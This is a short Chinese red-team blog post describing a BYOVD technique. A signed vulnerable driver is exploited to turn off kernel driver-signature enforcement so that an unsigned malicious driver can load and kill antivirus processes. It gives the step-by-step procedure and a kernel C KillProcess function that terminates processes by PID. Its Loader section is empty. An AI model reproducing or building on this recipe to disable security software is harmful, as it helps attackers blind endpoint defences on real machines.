VulnBins的利用 (vuln driver)

简介
挺久没水博客了，今个简单写点，现在的杀软越来越"现代化"了，老是尝试免杀已有木马使我疲惫，干脆想种一劳永逸的解决办法，(自写C2 狗头),当然这是个体力活，这篇文件简单介绍下白漏洞驱动带起黑驱动，直接从内核干掉杀软。
流程
1.
找一个存在任意文件读取的漏洞驱动
2.
加载驱动并漏洞利用修改内核DES位(作用于驱动签名校验)
3.
加载黑驱动
4.
漏洞利用改回原值
5.
卸载白驱动
代码片段
鲨进程 驱动片段
获取当前进程EPROCESS,遍历ActiveProcessLinks获取和判断进程,符合条件就给扬了,当然最好用点强杀手段。
1
BOOLEAN KillProcess(ULONG PID)
2
{
3
	NTSTATUS ntStatus = STATUS_SUCCESS;
4
	PVOID hProcess;
5
	PEPROCESS pEprcess;
6
	ntStatus = PsLookupProcessByProcessId(PID, &pEprcess);
7
​
8
	if (NT_SUCCESS(ntStatus))
9
	{
10
		if (ObOpenObjectByPointer((PVOID)pEprcess, 0, NULL, 0, NULL, KernelMode, &hProcess) != STATUS_SUCCESS)
11
			{
12
			return FALSE;
13
			}
14
		ZwTerminateProcess((HANDLE)hProcess, STATUS_SUCCESS);
15
		ZwClose((HANDLE)hProcess);
16
		return TRUE;
17
	}
18
};
19
​
Copied!
Loader
1
​
Copied!
​

武器化 - 以前

Go项目反射改造

下一个 - 红队研究

NtQueryInformationProcess逆向

最近更新 4mo ago

复制链接

内容

简介

流程

代码片段

鲨进程 驱动片段

Loader

鲨进程驱动片段